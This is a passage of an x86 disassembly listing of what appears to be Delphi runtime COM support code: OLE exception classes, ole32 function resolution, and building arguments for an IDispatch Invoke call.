		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_40015BB4	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40015C34	proc near		; DATA XREF: .text:400183B8o
		push	ebp
		mov	ebp, esp
		xor	eax, eax
		push	ebp
		push	offset loc_40015CFD
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		inc	ds:dword_4001F308
		jnz	loc_40015CEF
		mov	eax, ds:dword_4001F360
		call	sub_40003CE8
		mov	eax, dword_4001AD40
		call	sub_40003CE8
		mov	eax, dword_4001AD3C
		call	sub_40003CE8
		call	sub_40015794
		mov	eax, dword_4001AD44
		call	sub_40003CE8
		mov	eax, ds:dword_4001F35C
		call	sub_40003CE8
		mov	eax, ds:dword_4001F350
		call	sub_40003CE8
		mov	eax, ds:dword_4001F354
		call	sub_40003CE8
		mov	eax, ds:dword_4001F358
		call	sub_40003CE8
		mov	eax, ds:dword_4001F304
		push	eax
		call	sub_40006698	; DeleteObject
		push	offset dword_4001F320
		call	sub_40006518	; RtlDeleteCriticalSection
		push	offset dword_4001F338
		call	sub_40006518	; RtlDeleteCriticalSection
		mov	eax, offset dword_4001AAD8
		mov	ecx, 34h
		mov	edx, ds:off_40013198
		call	sub_40005314
		mov	eax, offset dword_4001AC78
		mov	ecx, 12h
		mov	edx, ds:off_40013198
		call	sub_40005314


loc_40015CEF:				; CODE XREF: sub_40015C34+17j
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_40015D04


loc_40015CFC:				; CODE XREF: sub_40015C34+CEj
		retn
; ---------------------------------------------------------------------------


loc_40015CFD:				; DATA XREF: sub_40015C34+6o
		jmp	loc_40004204
; ---------------------------------------------------------------------------
		jmp	short loc_40015CFC
; ---------------------------------------------------------------------------


loc_40015D04:				; CODE XREF: sub_40015C34:loc_40015CFCj
					; DATA XREF: sub_40015C34+C3o
		pop	ebp
		retn
sub_40015C34	endp

; ---------------------------------------------------------------------------
		align 4
off_40015D08	dd offset dword_4001E7F8 ; DATA	XREF: .data:off_4001AF08o
		dd 0FF93h
		dd offset dword_4001E7F8 ; DATA	XREF: .data:off_4001B044o
		dd 0FF94h
		dd offset dword_4001E7F8 ; DATA	XREF: .data:off_4001B07Co
		dd 0FF95h
		dd offset dword_4001E7F8 ; DATA	XREF: .data:off_4001AF64o
		dd 0FF96h
off_40015D28	dd offset dword_40015D74 ; DATA	XREF: .text:40015DA8o
					; sub_400165BC+21r ...
		dd 7 dup(0)
		dd offset dword_40015D74
		dd 0Ch
		dd offset off_40006DE0
		dd offset sub_40003EF4
		dd offset nullsub_2
		dd offset nullsub_3
		dd offset sub_40003F08
		dd offset nullsub_4
		dd offset sub_40003C80
		dd offset sub_40003C9C
		dd offset sub_40003CD8
dword_40015D74	dd 6C4F4509h, 72724565h, 0C08B726Fh					; .text:40015D48o
off_40015D80	dd offset dword_40015DCC ; DATA	XREF: .text:40015E04o
					; sub_40016050+Ar ...
		dd 7 dup(0)
		dd offset dword_40015DCC
		dd 10h
		dd offset off_40015D28
		dd offset sub_40003EF4
		dd offset nullsub_2
		dd offset nullsub_3
		dd offset sub_40003F08
		dd offset nullsub_4
		dd offset sub_40003C80
		dd offset sub_40003C9C
		dd offset sub_40003CD8
dword_40015DCC	dd 6C4F450Ch, 73795365h, 6F727245h, 408D72h					; .text:40015DA0o
off_40015DDC	dd offset dword_40015E28 ; DATA	XREF: sub_40016180+B1r
					; sub_40016280+54r ...
		dd 2 dup(0)
		dd offset dword_40015E28
		dd 4 dup(0)
		dd offset word_40015E42
		dd 18h
		dd offset off_40015D80
		dd offset sub_40003EF4
		dd offset nullsub_2
		dd offset nullsub_3
		dd offset sub_40003F08
		dd offset nullsub_4
		dd offset sub_40003C80
		dd offset sub_40003C9C
		dd offset sub_40003CD8
dword_40015E28	dd 0Eh,	20000h						; .text:40015DE8o
		db 2 dup(0)
		dd offset off_40001000
		dw 10h
		db 2 dup(0)
		dd offset off_40001000
		dw 14h
		db 2 dup(0)
word_40015E42	dw 450Dh		; DATA XREF: .text:40015DFCo
dword_40015E44	dd 45656C4Fh, 70656378h, 6E6F6974h, 0FFFFFFFFh,	9, 72617041h
		dd 6E656D74h, 74h, 0FFFFFFFFh, 4, 65657246h, 0
dword_40015E74	dd 0FFFFFFFFh, 4, 68746F42h, 0dword_40015E84	dd 0FFFFFFFFh, 7, 7475654Eh, 6C6172h
; =============== S U B	R O U T	I N E =======================================



sub_40015E94	proc near		; CODE XREF: sub_40015FB8+35p
		push	ebx
		push	esi
		mov	ebx, edx
		mov	esi, eax
		mov	eax, ebx
		mov	edx, esi
		call	sub_400048D8
		mov	eax, [ebx]
		call	sub_40008028
		mov	esi, eax
		jmp	short loc_40015EC9
; ---------------------------------------------------------------------------


loc_40015EAE:				; CODE XREF: sub_40015E94+45j
					; sub_40015E94+49j
		mov	eax, [ebx]
		call	sub_40004D48
		mov	edx, esi
		sub	edx, eax
		mov	eax, ebx
		call	sub_40004F74
		mov	eax, [ebx]
		call	sub_40008028
		mov	esi, eax


loc_40015EC9:				; CODE XREF: sub_40015E94+18j
		mov	eax, [ebx]
		call	sub_40004B44
		test	eax, eax
		jle	short loc_40015EDF
		movzx	eax, byte ptr [esi]
		sub	al, 21h
		jb	short loc_40015EAE
		sub	al, 0Dh
		jz	short loc_40015EAE


loc_40015EDF:				; CODE XREF: sub_40015E94+3Ej
		pop	esi
		pop	ebx
		retn
sub_40015E94	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40015EE4	proc near		; CODE XREF: sub_40015FB8+41p
					; sub_40016050+Fp ...

var_14		= dword	ptr -14h
var_10		= byte ptr -10h
var_C		= dword	ptr -0Ch
var_5		= byte ptr -5
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFECh
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		mov	[ebp+var_C], ebx
		mov	[ebp+var_4], ebx
		test	dl, dl
		jz	short loc_40015F01
		add	esp, 0FFFFFFF0h
		call	sub_40003F30


loc_40015F01:				; CODE XREF: sub_40015EE4+13j
		mov	edi, ecx
		mov	[ebp+var_5], dl
		mov	ebx, eax
		mov	esi, [ebp+arg_4]
		xor	eax, eax
		push	ebp
		push	offset loc_40015F8E
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		lea	eax, [ebp+var_4]
		mov	edx, edi
		call	sub_4000491C
		cmp	[ebp+var_4], 0
		jnz	short loc_40015F5D
		lea	edx, [ebp+var_4]
		mov	eax, esi
		call	sub_4000A81C
		cmp	[ebp+var_4], 0
		jnz	short loc_40015F5D
		push	0
		lea	edx, [ebp+var_C]
		mov	eax, off_4001AF08
		call	sub_400062F0
		mov	edx, [ebp+var_C]
		mov	[ebp+var_14], esi
		mov	[ebp+var_10], 0
		lea	ecx, [ebp+var_14]
		lea	eax, [ebp+var_4]
		call	sub_400086E0


loc_40015F5D:				; CODE XREF: sub_40015EE4+43j
					; sub_40015EE4+53j
		mov	eax, [ebp+arg_0]
		push	eax
		mov	ecx, [ebp+var_4]
		xor	edx, edx
		mov	eax, ebx
		call	sub_4000B1BC
		mov	[ebx+0Ch], esi
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_40015F95


loc_40015F7D:				; CODE XREF: sub_40015EE4+AFj
		lea	eax, [ebp+var_C]
		call	sub_40004884
		lea	eax, [ebp+var_4]
		call	sub_40004884
		retn
; ---------------------------------------------------------------------------


loc_40015F8E:				; DATA XREF: sub_40015EE4+2Ao
		jmp	loc_40004204
; ---------------------------------------------------------------------------
		jmp	short loc_40015F7D
; ---------------------------------------------------------------------------


loc_40015F95:				; CODE XREF: sub_40015EE4+A9j
					; DATA XREF: sub_40015EE4+94o
		mov	eax, ebx
		cmp	[ebp+var_5], 0
		jz	short loc_40015FAC
		call	sub_40003F88
		pop	large dword ptr	fs:0
		add	esp, 0Ch


loc_40015FAC:				; CODE XREF: sub_40015EE4+B7j
		mov	eax, ebx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn	8
sub_40015EE4	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40015FB8	proc near		; CODE XREF: sub_40016180+B6p
					; sub_40016784+62p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	0
		push	ebx
		push	esi
		push	edi
		test	dl, dl
		jz	short loc_40015FCC
		add	esp, 0FFFFFFF0h
		call	sub_40003F30


loc_40015FCC:				; CODE XREF: sub_40015FB8+Aj
		mov	esi, ecx
		mov	ebx, edx
		mov	edi, eax
		xor	eax, eax
		push	ebp
		push	offset loc_4001602A
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	eax, [ebp+arg_C]
		push	eax
		mov	eax, [ebp+arg_0]
		push	eax
		lea	edx, [ebp+var_4]
		mov	eax, esi
		call	sub_40015E94
		mov	ecx, [ebp+var_4]
		xor	edx, edx
		mov	eax, edi
		call	sub_40015EE4
		lea	eax, [edi+10h]
		mov	edx, [ebp+arg_8]
		call	sub_400048D8
		lea	eax, [edi+14h]
		mov	edx, [ebp+arg_4]
		call	sub_400048D8
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_40016031


loc_40016021:				; CODE XREF: sub_40015FB8+77j
		lea	eax, [ebp+var_4]
		call	sub_40004884
		retn
; ---------------------------------------------------------------------------


loc_4001602A:				; DATA XREF: sub_40015FB8+1Do
		jmp	loc_40004204
; ---------------------------------------------------------------------------
		jmp	short loc_40016021
; ---------------------------------------------------------------------------


loc_40016031:				; CODE XREF: sub_40015FB8+71j
					; DATA XREF: sub_40015FB8+64o
		mov	eax, edi
		test	bl, bl
		jz	short loc_40016046
		call	sub_40003F88
		pop	large dword ptr	fs:0
		add	esp, 0Ch


loc_40016046:				; CODE XREF: sub_40015FB8+7Dj
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		pop	ecx
		pop	ebp
		retn	10h
sub_40015FB8	endp


; =============== S U B	R O U T	I N E =======================================



sub_40016050	proc near		; CODE XREF: sub_4001606C+7p
		push	ebx
		mov	ebx, eax
		push	ebx
		push	0
		xor	ecx, ecx
		mov	dl, 1
		mov	eax, ds:off_40015D80
		call	sub_40015EE4
		call	sub_400042E4
		pop	ebx
		retn
sub_40016050	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_4001606C	proc near		; CODE XREF: sub_400165F0:loc_400166BCp
		test	eax, 80000000h
		jz	short locret_40016078
		call	sub_40016050

locret_40016078:			; CODE XREF: sub_4001606C+5j
		retn
sub_4001606C	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_4001607C	proc near		; CODE XREF: .itext:400193A1p
		push	ebx
		push	offset dword_400160F0
		call	sub_400065A0	; GetModuleHandleA
		mov	ebx, eax
		test	ebx, ebx
		jz	short loc_400160ED
		push	offset aCocreateinstan ; "CoCreateInstanceEx"
		push	ebx
		call	sub_400065A8	; GetProcAddress
		mov	dword_4001AD88,	eax
		push	offset aCoinitializeex ; "CoInitializeEx"
		push	ebx
		call	sub_400065A8	; GetProcAddress
		mov	dword_4001AD8C,	eax
		push	offset aCoaddrefserver ; "CoAddRefServerProcess"
		push	ebx
		call	sub_400065A8	; GetProcAddress
		mov	dword_4001AD90,	eax
		push	offset aCoreleaseserve ; "CoReleaseServerProcess"
		push	ebx
		call	sub_400065A8	; GetProcAddress
		mov	dword_4001AD94,	eax
		push	offset aCoresumeclasso ; "CoResumeClassObjects"
		push	ebx
		call	sub_400065A8	; GetProcAddress
		mov	dword_4001AD98,	eax
		push	offset aCosuspendclass ; "CoSuspendClassObjects"
		push	ebx
		call	sub_400065A8	; GetProcAddress
		mov	dword_4001AD9C,	eax


loc_400160ED:				; CODE XREF: sub_4001607C+Fj
		pop	ebx
		retn
sub_4001607C	endp

; ---------------------------------------------------------------------------
		align 10h
dword_400160F0	dd 33656C6Fh, 6C642E32h, 6ChaCocreateinstan	db 'CoCreateInstanceEx',0 ; DATA XREF: sub_4001607C+11o
		align 10h
aCoinitializeex	db 'CoInitializeEx',0   ; DATA XREF: sub_4001607C+21o
		align 10h
aCoaddrefserver	db 'CoAddRefServerProcess',0 ; DATA XREF: sub_4001607C+31o
		align 4
aCoreleaseserve	db 'CoReleaseServerProcess',0 ; DATA XREF: sub_4001607C+41o
		align 10h
aCoresumeclasso	db 'CoResumeClassObjects',0 ; DATA XREF: sub_4001607C+51o
		align 4
aCosuspendclass	db 'CoSuspendClassObjects',0 ; DATA XREF: sub_4001607C+61o
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40016180	proc near		; DATA XREF: .itext:400193BEo
					; .bss:off_4001C020o

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 40016277 SIZE 00000006 BYTES

		push	ebp
		mov	ebp, esp
		xor	ecx, ecx
		push	ecx
		push	ecx
		push	ecx
		push	ecx
		push	ecx
		push	ecx
		push	ecx
		push	ecx
		push	ebx
		push	esi
		mov	esi, edx
		mov	ebx, eax
		xor	eax, eax
		push	ebp
		push	offset loc_40016270
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		xor	eax, eax
		mov	[ebp+var_14], eax
		lea	eax, [ebp+var_4]
		call	sub_40006204
		push	eax
		push	0
		call	sub_40006B08
		test	eax, eax
		jnz	short loc_400161FD
		lea	eax, [ebp+var_8]
		call	sub_40005008
		push	eax
		mov	eax, [ebp+var_4]
		push	eax
		mov	eax, [eax]
		call	dword ptr [eax+10h]
		lea	eax, [ebp+var_C]
		call	sub_40005008
		push	eax
		mov	eax, [ebp+var_4]
		push	eax
		mov	eax, [eax]
		call	dword ptr [eax+14h]
		lea	eax, [ebp+var_10]
		call	sub_40005008
		push	eax
		mov	eax, [ebp+var_4]
		push	eax
		mov	eax, [eax]
		call	dword ptr [eax+18h]
		lea	eax, [ebp+var_14]
		push	eax
		mov	eax, [ebp+var_4]
		push	eax
		mov	eax, [eax]
		call	dword ptr [eax+1Ch]


loc_400161FD:				; CODE XREF: sub_40016180+38j
		push	esi
		push	ebx
		lea	eax, [ebp+var_18]
		mov	edx, [ebp+var_8]
		call	sub_40004B0C
		mov	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_1C]
		mov	edx, [ebp+var_10]
		call	sub_40004B0C
		mov	eax, [ebp+var_1C]
		push	eax
		mov	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_20]
		mov	edx, [ebp+var_C]
		call	sub_40004B0C
		mov	ecx, [ebp+var_20]
		mov	dl, 1
		mov	eax, ds:off_40015DDC
		call	sub_40015FB8
		jmp	sub_400042E4
; ---------------------------------------------------------------------------
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_40016277


loc_4001624D:				; CODE XREF: .text:40016275j
		lea	eax, [ebp+var_20]
		mov	edx, 3
		call	sub_400048A8
		lea	eax, [ebp+var_10]
		mov	edx, 3
		call	sub_40005020
		lea	eax, [ebp+var_4]
		call	sub_40006204
		retn
; ---------------------------------------------------------------------------


loc_40016270:				; DATA XREF: sub_40016180+16o
		jmp	loc_40004204
sub_40016180	endp

; ---------------------------------------------------------------------------
		jmp	short loc_4001624D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40016180


loc_40016277:				; CODE XREF: sub_40016180+EFj
					; DATA XREF: sub_40016180+C8o
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_40016180
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40016280	proc near		; CODE XREF: sub_400166E8+8Fp

var_650		= dword	ptr -650h
var_250		= dword	ptr -250h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= byte ptr -20h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

; FUNCTION CHUNK AT 40004204 SIZE 00000080 BYTES
; FUNCTION CHUNK AT 400042A4 SIZE 00000006 BYTES

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFF9B0h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_28], ecx
		mov	esi, edx
		mov	[ebp+var_24], eax
		lea	eax, [ebp+var_20]
		mov	edx, ds:off_40006ABC
		call	sub_40005204
		xor	eax, eax
		push	ebp
		push	offset loc_400165AB
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		xor	eax, eax
		mov	[ebp+var_30], eax
		xor	ecx, ecx
		push	ebp
		push	offset loc_40016588
		push	dword ptr fs:[ecx]
		mov	fs:[ecx], esp
		movzx	edi, byte ptr [esi+1]
		cmp	edi, 40h
		jle	short loc_400162E3
		mov	ecx, off_4001AF64
		mov	dl, 1
		mov	eax, ds:off_40015DDC
		call	sub_4000B0EC
		call	sub_400042E4


loc_400162E3:				; CODE XREF: sub_40016280+4Aj
		test	edi, edi
		jz	loc_400164AC
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_34], eax
		mov	eax, edi
		add	eax, eax
		lea	eax, [ebp+eax*8+var_650]
		mov	[ebp+var_38], eax
		xor	ebx, ebx


loc_40016301:				; CODE XREF: sub_40016280+226j
		sub	[ebp+var_38], 10h
		movzx	eax, byte ptr [esi+ebx+3]
		mov	edx, eax
		and	dl, 7Fh
		movzx	edx, dl
		mov	[ebp+var_2C], edx
		and	al, 80h
		cmp	[ebp+var_2C], 0Ah
		jnz	short loc_40016335
		mov	eax, [ebp+var_38]
		mov	dword ptr [eax], 0Ah
		mov	eax, [ebp+var_38]
		mov	dword ptr [eax+8], 80020004h
		jmp	loc_400164A3
; ---------------------------------------------------------------------------


loc_40016335:				; CODE XREF: sub_40016280+9Bj
		cmp	[ebp+var_2C], 48h
		jnz	short loc_400163AF
		mov	edx, [ebp+var_30]
		lea	edx, [ebp+edx*8+var_250]
		mov	[ebp+var_3C], edx
		test	al, al
		jz	short loc_4001637C
		mov	eax, [ebp+var_34]
		mov	eax, [eax]
		mov	eax, [eax]
		call	sub_40005674
		mov	edx, [ebp+var_3C]
		mov	[edx], eax
		mov	eax, [ebp+var_34]
		mov	eax, [eax]
		mov	edx, [ebp+var_3C]
		mov	[edx+4], eax
		mov	eax, [ebp+var_38]
		mov	dword ptr [eax], 4008h
		mov	eax, [ebp+var_3C]
		mov	edx, [ebp+var_38]
		mov	[edx+8], eax
		jmp	short loc_400163A7
; ---------------------------------------------------------------------------


loc_4001637C:				; CODE XREF: sub_40016280+CAj
		mov	eax, [ebp+var_34]
		mov	eax, [eax]
		call	sub_40005674
		mov	edx, [ebp+var_3C]
		mov	[edx], eax
		mov	eax, [ebp+var_3C]
		xor	edx, edx
		mov	[eax+4], edx
		mov	eax, [ebp+var_38]
		mov	dword ptr [eax], 8
		mov	eax, [ebp+var_3C]
		mov	eax, [eax]
		mov	edx, [ebp+var_38]
		mov	[edx+8], eax


loc_400163A7:				; CODE XREF: sub_40016280+FAj
		inc	[ebp+var_30]
		jmp	loc_4001649F
; ---------------------------------------------------------------------------


loc_400163AF:				; CODE XREF: sub_40016280+B9j
		test	al, al
		jz	short loc_400163F8
		cmp	[ebp+var_2C], 0Ch
		jnz	short loc_400163DB
		mov	eax, [ebp+var_34]
		mov	eax, [eax]
		cmp	word ptr [eax],	100h
		jnz	short loc_400163DB
		mov	eax, [ebp+var_34]
		mov	eax, [eax]
		mov	edx, eax
		mov	eax, [ebp+var_34]
		mov	eax, [eax]
		mov	ecx, 8
		call	sub_4000E9CC


loc_400163DB:				; CODE XREF: sub_40016280+137j
					; sub_40016280+143j
		mov	eax, [ebp+var_2C]
		or	eax, 4000h
		mov	edx, [ebp+var_38]
		mov	[edx], eax
		mov	eax, [ebp+var_34]
		mov	eax, [eax]
		mov	edx, [ebp+var_38]
		mov	[edx+8], eax
		jmp	loc_4001649F
; ---------------------------------------------------------------------------


loc_400163F8:				; CODE XREF: sub_40016280+131j
		cmp	[ebp+var_2C], 0Ch
		jnz	short loc_40016471
		mov	eax, [ebp+var_34]
		cmp	word ptr [eax],	100h
		jnz	short loc_40016446
		mov	eax, [ebp+var_30]
		lea	eax, [ebp+eax*8+var_250]
		mov	[ebp+var_40], eax
		mov	eax, [ebp+var_34]
		mov	eax, [eax+8]
		call	sub_40005674
		mov	edx, [ebp+var_40]
		mov	[edx], eax
		mov	eax, [ebp+var_40]
		xor	edx, edx
		mov	[eax+4], edx
		mov	eax, [ebp+var_38]
		mov	dword ptr [eax], 8
		mov	eax, [ebp+var_40]
		mov	eax, [eax]
		mov	edx, [ebp+var_38]
		mov	[edx+8], eax
		inc	[ebp+var_30]
		jmp	short loc_4001649F
; ---------------------------------------------------------------------------


loc_40016446:				; CODE XREF: sub_40016280+186j
		mov	eax, [ebp+var_34]
		mov	edx, [eax]
		mov	ecx, [ebp+var_38]
		mov	[ecx], edx
		mov	edx, [eax+4]
		mov	ecx, [ebp+var_38]
		mov	[ecx+4], edx
		mov	edx, [eax+8]
		mov	ecx, [ebp+var_38]
		mov	[ecx+8], edx
		mov	eax, [eax+0Ch]
		mov	edx, [ebp+var_38]
		mov	[edx+0Ch], eax
		add	[ebp+var_34], 0Ch
		jmp	short loc_4001649F
; ---------------------------------------------------------------------------


loc_40016471:				; CODE XREF: sub_40016280+17Cj
		mov	eax, [ebp+var_38]
		mov	edx, [ebp+var_2C]
		mov	[eax], edx
		mov	eax, [ebp+var_34]
		mov	eax, [eax]
		mov	edx, [ebp+var_38]
		mov	[edx+8], eax
		cmp	[ebp+var_2C], 5
		jl	short loc_4001649F
		cmp	[ebp+var_2C], 7
		jg	short loc_4001649F
		add	[ebp+var_34], 4
		mov	eax, [ebp+var_34]
		mov	eax, [eax]
		mov	edx, [ebp+var_38]
		mov	[edx+0Ch], eax


loc_4001649F:				; CODE XREF: sub_40016280+12Aj
					; sub_40016280+173j ...
		add	[ebp+var_34], 4


loc_400164A3:				; CODE XREF: sub_40016280+B0j
		inc	ebx
		cmp	edi, ebx
		jnz	loc_40016301


loc_400164AC:				; CODE XREF: sub_40016280+65j
		lea	eax, [ebp+var_650]
		mov	[ebp+var_50], eax
		mov	eax, [ebp+var_28]
		add	eax, 4
		mov	[ebp+var_4C], eax
		mov	[ebp+var_48], edi
		movzx	eax, byte ptr [esi+2]
		mov	[ebp+var_44], eax
		mov	eax, [ebp+var_28]
		mov	edx, [eax]
		movzx	eax, byte ptr [esi]
		cmp	eax, 4
		jnz	short loc_400164FD
		mov	ecx, [ebp+var_650]
		and	ecx, 0FFFh
		cmp	ecx, 9
		jnz	short loc_400164EB
		mov	eax, 8


loc_400164EB:				; CODE XREF: sub_40016280+264j
		mov	ecx, [ebp+var_28]
		mov	dword ptr [ecx], 0FFFFFFFDh
		sub	[ebp+var_4C], 4
		inc	[ebp+var_44]
		jmp	short loc_40016511
; ---------------------------------------------------------------------------


loc_400164FD:				; CODE XREF: sub_40016280+253j
		cmp	eax, 1
		jnz	short loc_40016511
		test	edi, edi
		jnz	short loc_40016511
		cmp	[ebp+arg_0], 0
		jz	short loc_40016511
		mov	eax, 3


loc_40016511:				; CODE XREF: sub_40016280+27Bj
					; sub_40016280+280j ...
		push	0
		lea	ecx, [ebp+var_20]
		push	ecx
		mov	ecx, [ebp+arg_0]
		push	ecx
		lea	ecx, [ebp+var_50]
		push	ecx
		push	eax
		push	0
		mov	eax, off_4001AFA8
		push	eax
		push	edx
		mov	eax, [ebp+var_24]
		push	eax
		mov	eax, [eax]
		call	dword ptr [eax+18h]
		test	eax, eax
		jz	short loc_4001653E
		lea	edx, [ebp+var_20]
		call	sub_40016858


loc_4001653E:				; CODE XREF: sub_40016280+2B4j
		mov	ebx, [ebp+var_30]
		test	ebx, ebx
		jz	short loc_40016561


loc_40016545:				; CODE XREF: sub_40016280+2DFj
		dec	ebx
		lea	esi, [ebp+ebx*8+var_250]
		mov	edi, [esi+4]
		test	edi, edi
		jz	short loc_4001655D
		mov	edx, edi
		mov	eax, [esi]
		call	sub_40005650


loc_4001655D:				; CODE XREF: sub_40016280+2D2j
		test	ebx, ebx
		jnz	short loc_40016545


loc_40016561:				; CODE XREF: sub_40016280+2C3j
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_4001658F


loc_4001656E:				; CODE XREF: sub_40016280+30Dj
		mov	ebx, [ebp+var_30]
		test	ebx, ebx
		jz	short locret_40016587


loc_40016575:				; CODE XREF: sub_40016280+305j
		dec	ebx
		mov	eax, [ebp+ebx*8+var_250]
		push	eax
		call	sub_40006B00
		test	ebx, ebx
		jnz	short loc_40016575

locret_40016587:			; CODE XREF: sub_40016280+2F3j
		retn
; ---------------------------------------------------------------------------


loc_40016588:				; DATA XREF: sub_40016280+38o
		jmp	loc_40004204
; ---------------------------------------------------------------------------
		jmp	short loc_4001656E
; ---------------------------------------------------------------------------


loc_4001658F:				; DATA XREF: sub_40016280+2E9o
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_400165B2


loc_4001659C:				; CODE XREF: sub_40016280+330j
		lea	eax, [ebp+var_20]
		mov	edx, ds:off_40006ABC
		call	sub_400052C8
		retn
; ---------------------------------------------------------------------------


loc_400165AB:				; DATA XREF: sub_40016280+25o
		jmp	loc_40004204
; ---------------------------------------------------------------------------
		jmp	short loc_4001659C
; ---------------------------------------------------------------------------


loc_400165B2:				; CODE XREF: sub_40016280+32Aj
					; DATA XREF: sub_40016280+317o
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn	8
sub_40016280	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_400165BC	proc near		; CODE XREF: sub_400165F0+C4p

var_8		= dword	ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF8h
		mov	eax, [ebp+arg_0]
		mov	eax, [eax-4]
		mov	[ebp+var_8], eax
		mov	[ebp+var_4], 6
		lea	eax, [ebp+var_8]
		push	eax
		push	0
		mov	ecx, off_4001B044
		mov	dl, 1
		mov	eax, ds:off_40015D28
		call	sub_4000B128
		call	sub_400042E4
		pop	ecx
		pop	ecx
		pop	ebp
		retn
sub_400165BC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_400165F0	proc near		; CODE XREF: sub_400166E8+6Fp

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFE4h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_C], ecx
		mov	[ebp+var_4], edx
		mov	[ebp+var_1C], eax
		mov	ebx, [ebp+var_4]
		xor	edi, edi
		mov	[ebp+var_8], esp
		mov	eax, [ebp+var_C]
		inc	eax
		shl	eax, 2
		sub	esp, eax
		lea	eax, [ebp+var_10]
		mov	[eax], esp


loc_40016618:				; CODE XREF: sub_400165F0+99j
		mov	eax, ebx
		call	sub_4000815C
		mov	esi, eax
		push	0
		push	0
		push	esi
		push	ebx
		push	0
		push	0
		call	sub_40006610	; MultiByteToWideChar
		inc	eax
		mov	[ebp+var_14], eax
		mov	eax, [ebp+var_14]
		add	eax, eax
		add	eax, 3
		and	eax, 0FFFFFFFCh
		sub	esp, eax
		lea	eax, [ebp+var_18]
		mov	[eax], esp
		test	edi, edi
		jnz	short loc_40016654
		mov	eax, [ebp+var_10]
		mov	edx, [ebp+var_18]
		mov	[eax], edx
		jmp	short loc_40016662
; ---------------------------------------------------------------------------


loc_40016654:				; CODE XREF: sub_400165F0+58j
		mov	eax, [ebp+var_C]
		sub	eax, edi
		mov	edx, [ebp+var_10]
		mov	ecx, [ebp+var_18]
		mov	[edx+eax*4], ecx


loc_40016662:				; CODE XREF: sub_400165F0+62j
		mov	eax, [ebp+var_14]
		push	eax
		mov	eax, [ebp+var_18]
		push	eax
		push	esi
		push	ebx
		push	0
		push	0
		call	sub_40006610	; MultiByteToWideChar
		mov	eax, [ebp+var_18]
		mov	edx, [ebp+var_14]
		mov	word ptr [eax+edx*2-2],	0
		inc	esi
		add	ebx, esi
		inc	edi
		cmp	edi, [ebp+var_C]
		jnz	short loc_40016618
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_400065C8	; GetThreadLocale
		push	eax
		mov	eax, [ebp+var_C]
		push	eax
		mov	eax, [ebp+var_10]
		push	eax
		mov	eax, off_4001AFA8
		push	eax
